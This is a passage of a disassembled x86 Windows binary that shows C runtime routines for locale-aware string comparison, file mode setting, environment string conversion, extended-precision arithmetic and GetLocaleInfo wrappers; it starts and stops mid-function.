mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_435E65
or al, al
jz short loc_435E65
inc esi
inc edi
cmp ah, bh
jb short loc_435E54
cmp ah, bl
ja short loc_435E54
add ah, dh
loc_435E54: ; CODE XREF: sub_435E10+3Cj
; sub_435E10+40j
cmp al, bh
jb short loc_435E5E
cmp al, bl
ja short loc_435E5E
add al, dh
loc_435E5E: ; CODE XREF: sub_435E10+46j
; sub_435E10+4Aj
cmp ah, al
jnz short loc_435E6F
dec ecx
jnz short loc_435E3C
loc_435E65: ; CODE XREF: sub_435E10+32j
; sub_435E10+36j
xor ecx, ecx
cmp ah, al
jz loc_435F0A
loc_435E6F: ; CODE XREF: sub_435E10+50j
mov ecx, 0FFFFFFFFh
jb loc_435F0A
neg ecx
jmp loc_435F0A
; ---------------------------------------------------------------------------
loc_435E81: ; CODE XREF: sub_435E10+21j
lock inc ds:dword_4EED14
cmp ds:dword_4EED10, 0
jg short loc_435E95
push 0
jmp short loc_435EAE
; ---------------------------------------------------------------------------
loc_435E95: ; CODE XREF: sub_435E10+7Fj
lock dec ds:dword_4EED14
mov ebx, ecx
push 13h
call sub_421A80
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_435EAE: ; CODE XREF: sub_435E10+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_435EB4: ; CODE XREF: sub_435E10+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_435EDF
or ebx, ebx
jz short loc_435EDF
inc esi
inc edi
push ecx
push eax
push ebx
call sub_420A00
mov ebx, eax
add esp, 4
call sub_420A00
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_435EE5
dec ecx
jnz short loc_435EB4
loc_435EDF: ; CODE XREF: sub_435E10+AAj
; sub_435E10+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_435EEE
loc_435EE5: ; CODE XREF: sub_435E10+CAj
mov ecx, 0FFFFFFFFh
jb short loc_435EEE
neg ecx
loc_435EEE: ; CODE XREF: sub_435E10+D3j
; sub_435E10+DAj
pop eax
or eax, eax
jnz short loc_435EFC
lock dec ds:dword_4EED14
jmp short loc_435F0A
; ---------------------------------------------------------------------------
loc_435EFC: ; CODE XREF: sub_435E10+E1j
mov ebx, ecx
push 13h
call sub_421B20
add esp, 4
mov ecx, ebx
loc_435F0A: ; CODE XREF: sub_435E10+Bj
; sub_435E10+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_435E10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, ds:dword_4EEE20
jnb short loc_435F51
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_435F61
loc_435F51: ; CODE XREF: seg000:00435F2Dj
call sub_4267E0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_435F8F
; ---------------------------------------------------------------------------
loc_435F61: ; CODE XREF: seg000:00435F4Fj
mov edx, [ebp+8]
push edx
call sub_42DB90
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_435FA0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_42DC20
add esp, 4
mov eax, [ebp-4]
loc_435F8F: ; CODE XREF: seg000:00435F5Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435FA0 proc near ; CODE XREF: sub_432CF0+D4p
; sub_432CF0+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_436009
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, ds:dword_4EED20[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, ds:dword_4EED20[edx*4]
mov [edx+eax+4], cl
jmp short loc_43605A
; ---------------------------------------------------------------------------
loc_436009: ; CODE XREF: sub_435FA0+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_43604A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4EED20[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, ds:dword_4EED20[ecx*4]
mov [ecx+edx+4], al
jmp short loc_43605A
; ---------------------------------------------------------------------------
loc_43604A: ; CODE XREF: sub_435FA0+70j
call sub_4267E0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_43606B
; ---------------------------------------------------------------------------
loc_43605A: ; CODE XREF: sub_435FA0+67j
; sub_435FA0+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_43606B: ; CODE XREF: sub_435FA0+B8j
mov esp, ebp
pop ebp
retn
sub_435FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436070 proc near ; CODE XREF: sub_432F50+9Bp
; sub_437100+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_43607E
xor eax, eax
jmp short loc_4360BB
; ---------------------------------------------------------------------------
loc_43607E: ; CODE XREF: sub_436070+8j
mov eax, ds:dword_4EEE24
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, ds:dword_4EF044
push edx
call sub_4369D0
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4360B5
mov eax, 7FFFFFFFh
jmp short loc_4360BB
; ---------------------------------------------------------------------------
loc_4360B5: ; CODE XREF: sub_436070+3Cj
mov eax, [ebp+var_4]
sub eax, 2
loc_4360BB: ; CODE XREF: sub_436070+Cj
; sub_436070+43j
mov esp, ebp
pop ebp
retn
sub_436070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4360C0 proc near ; CODE XREF: sub_432F50+2Dp
; sub_436E20+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, ds:dword_4EE990
mov [ebp+var_4], eax
loc_4360CE: ; CODE XREF: sub_4360C0+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_436168
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_436102
or eax, 0FFFFFFFFh
jmp short loc_43616A
; ---------------------------------------------------------------------------
loc_436102: ; CODE XREF: sub_4360C0+3Bj
push 3Dh
push offset dword_43AEE8
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_41AE60
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_436125
or eax, 0FFFFFFFFh
jmp short loc_43616A
; ---------------------------------------------------------------------------
loc_436125: ; CODE XREF: sub_4360C0+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call ds:dword_4F1384 ; WideCharToMultiByte
test eax, eax
jnz short loc_43614C
or eax, 0FFFFFFFFh
jmp short loc_43616A
; ---------------------------------------------------------------------------
loc_43614C: ; CODE XREF: sub_4360C0+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_436E20
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_4360CE
; ---------------------------------------------------------------------------
loc_436168: ; CODE XREF: sub_4360C0+14j
xor eax, eax
loc_43616A: ; CODE XREF: sub_4360C0+40j
; sub_4360C0+63j ...
mov esp, ebp
pop ebp
retn
sub_4360C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436170 proc near ; CODE XREF: sub_433EA0+2B5p
; sub_4365B0+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_43622D
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_43622D
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_436264
loc_43622D: ; CODE XREF: sub_436170+9Bj
; sub_436170+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_4365A9
; ---------------------------------------------------------------------------
loc_436264: ; CODE XREF: sub_436170+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_436297
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_4365A9
; ---------------------------------------------------------------------------
loc_436297: ; CODE XREF: sub_436170+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_4362DD
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_4362DD
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4362DD
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_4362DD
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_4365A9
; ---------------------------------------------------------------------------
loc_4362DD: ; CODE XREF: sub_436170+131j
; sub_436170+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_436339
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_436339
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_436339
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_436339
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_4365A9
; ---------------------------------------------------------------------------
loc_436339: ; CODE XREF: sub_436170+178j
; sub_436170+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_436352
; ---------------------------------------------------------------------------
loc_436349: ; CODE XREF: sub_436170+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_436352: ; CODE XREF: sub_436170+1D7j
cmp [ebp+var_1C], 5
jge loc_436411
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_436381
; ---------------------------------------------------------------------------
loc_436378: ; CODE XREF: sub_436170+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_436381: ; CODE XREF: sub_436170+206j
cmp [ebp+var_34], 0
jle short loc_436403
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_433020
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_4363EC
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_4363EC: ; CODE XREF: sub_436170+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_436378
; ---------------------------------------------------------------------------
loc_436403: ; CODE XREF: sub_436170+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_436349
; ---------------------------------------------------------------------------
loc_436411: ; CODE XREF: sub_436170+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_43641E: ; CODE XREF: sub_436170+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_43644D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_43644D
lea edx, [ebp+var_14]
push edx
call sub_433110
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_43641E
; ---------------------------------------------------------------------------
loc_43644D: ; CODE XREF: sub_436170+2B4j
; sub_436170+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_4364AD
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_436461: ; CODE XREF: sub_436170+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_43649C
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_436482
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_436482: ; CODE XREF: sub_436170+307j
lea eax, [ebp+var_14]
push eax
call sub_433170
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_436461
; ---------------------------------------------------------------------------
loc_43649C: ; CODE XREF: sub_436170+2F7j
cmp [ebp+var_4], 0
jz short loc_4364AD
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_4364AD: ; CODE XREF: sub_436170+2E3j
; sub_436170+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_4364CD
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_43652E
loc_4364CD: ; CODE XREF: sub_436170+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_436525
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_43651A
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_43650C
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_436518
; ---------------------------------------------------------------------------
loc_43650C: ; CODE XREF: sub_436170+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_436518: ; CODE XREF: sub_436170+39Aj
jmp short loc_436523
; ---------------------------------------------------------------------------
loc_43651A: ; CODE XREF: sub_436170+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_436523: ; CODE XREF: sub_436170:loc_436518j
jmp short loc_43652E
; ---------------------------------------------------------------------------
loc_436525: ; CODE XREF: sub_436170+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_43652E: ; CODE XREF: sub_436170+35Bj
; sub_436170:loc_436523j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_436573
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_4365A9
; ---------------------------------------------------------------------------
loc_436573: ; CODE XREF: sub_436170+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_4365A9: ; CODE XREF: sub_436170+EFj
; sub_436170+122j ...
mov esp, ebp
pop ebp
retn
sub_436170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4365B0 proc near ; CODE XREF: sub_433320+914p
; sub_433EA0+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_451050
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_4365CC
jmp loc_43666F
; ---------------------------------------------------------------------------
loc_4365CC: ; CODE XREF: sub_4365B0+15j
cmp [ebp+arg_4], 0
jge short loc_4365E5
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_4511B0
sub edx, 60h
mov [ebp+var_4], edx
loc_4365E5: ; CODE XREF: sub_4365B0+20j
cmp [ebp+arg_8], 0
jnz short loc_4365F3
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_4365F3: ; CODE XREF: sub_4365B0+39j
; sub_4365B0+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_43666F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_43661C
jmp short loc_4365F3
; ---------------------------------------------------------------------------
loc_43661C: ; CODE XREF: sub_4365B0+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_43665D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_43665D: ; CODE XREF: sub_4365B0+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_436170
add esp, 8
jmp short loc_4365F3
; ---------------------------------------------------------------------------
loc_43666F: ; CODE XREF: sub_4365B0+17j
; sub_4365B0+47j
mov esp, ebp
pop ebp
retn
sub_4365B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436680 proc near ; CODE XREF: sub_435830+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43AEF8
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4EECF8, 0
jnz short loc_4366F2
push 0
push 0
push 1
push 0
call ds:dword_4F12AC ; GetLocaleInfoW
test eax, eax
jz short loc_4366CD
mov ds:dword_4EECF8, 1
jmp short loc_4366F2
; ---------------------------------------------------------------------------
loc_4366CD: ; CODE XREF: sub_436680+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4F1354 ; GetLocaleInfoA
test eax, eax
jz short loc_4366EB
mov ds:dword_4EECF8, 2
jmp short loc_4366F2
; ---------------------------------------------------------------------------
loc_4366EB: ; CODE XREF: sub_436680+5Dj
xor eax, eax
jmp loc_436801
; ---------------------------------------------------------------------------
loc_4366F2: ; CODE XREF: sub_436680+2Dj
; sub_436680+4Bj ...
cmp ds:dword_4EECF8, 1
jnz short loc_436716
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F12AC ; GetLocaleInfoW
jmp loc_436801
; ---------------------------------------------------------------------------
loc_436716: ; CODE XREF: sub_436680+79j
cmp ds:dword_4EECF8, 2
jnz loc_4367FF
cmp [ebp+arg_10], 0
jnz short loc_436732
mov ecx, ds:dword_4EEA80
mov [ebp+arg_10], ecx
loc_436732: ; CODE XREF: sub_436680+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F1354 ; GetLocaleInfoA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_436754
xor eax, eax
jmp loc_436801
; ---------------------------------------------------------------------------
loc_436754: ; CODE XREF: sub_436680+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_436794
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_436794: ; CODE XREF: sub_436680+FBj
cmp [ebp+var_20], 0
jnz short loc_43679E
xor eax, eax
jmp short loc_436801
; ---------------------------------------------------------------------------
loc_43679E: ; CODE XREF: sub_436680+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F1354 ; GetLocaleInfoA
test eax, eax
jnz short loc_4367BC
xor eax, eax
jmp short loc_436801
; ---------------------------------------------------------------------------
loc_4367BC: ; CODE XREF: sub_436680+136j
cmp [ebp+arg_C], 0
jnz short loc_4367DD
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_24], eax
jmp short loc_4367FA
; ---------------------------------------------------------------------------
loc_4367DD: ; CODE XREF: sub_436680+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_24], eax
loc_4367FA: ; CODE XREF: sub_436680+15Bj
mov eax, [ebp+var_24]
jmp short loc_436801
; ---------------------------------------------------------------------------
loc_4367FF: ; CODE XREF: sub_436680+9Dj
xor eax, eax
loc_436801: ; CODE XREF: sub_436680+6Dj
; sub_436680+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_436680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436820 proc near ; CODE XREF: sub_435830+4Bp
; sub_435830+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43AF08
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4EECFC, 0
jnz short loc_436892
push 0
push 0
push 1
push 0
call ds:dword_4F12AC ; GetLocaleInfoW
test eax, eax
jz short loc_43686D
mov ds:dword_4EECFC, 1
jmp short loc_436892
; ---------------------------------------------------------------------------
loc_43686D: ; CODE XREF: sub_436820+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4F1354 ; GetLocaleInfoA
test eax, eax
jz short loc_43688B
mov ds:dword_4EECFC, 2
jmp short loc_436892
; ---------------------------------------------------------------------------
loc_43688B: ; CODE XREF: sub_436820+5Dj
xor eax, eax
jmp loc_4369B1
; ---------------------------------------------------------------------------
loc_436892: ; CODE XREF: sub_436820+2Dj
; sub_436820+4Bj ...
cmp ds:dword_4EECFC, 2
jnz short loc_4368B6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F1354 ; GetLocaleInfoA
jmp loc_4369B1
; ---------------------------------------------------------------------------
loc_4368B6: ; CODE XREF: sub_436820+79j
cmp ds:dword_4EECFC, 1
jnz loc_4369AF
cmp [ebp+arg_10], 0
jnz short loc_4368D2
mov ecx, ds:dword_4EEA80
mov [ebp+arg_10], ecx
loc_4368D2: ; CODE XREF: sub_436820+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F12AC ; GetLocaleInfoW
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4368F4
xor eax, eax
jmp loc_4369B1
; ---------------------------------------------------------------------------
loc_4368F4: ; CODE XREF: sub_436820+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_436936
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_436936: ; CODE XREF: sub_436820+FDj
cmp [ebp+var_20], 0
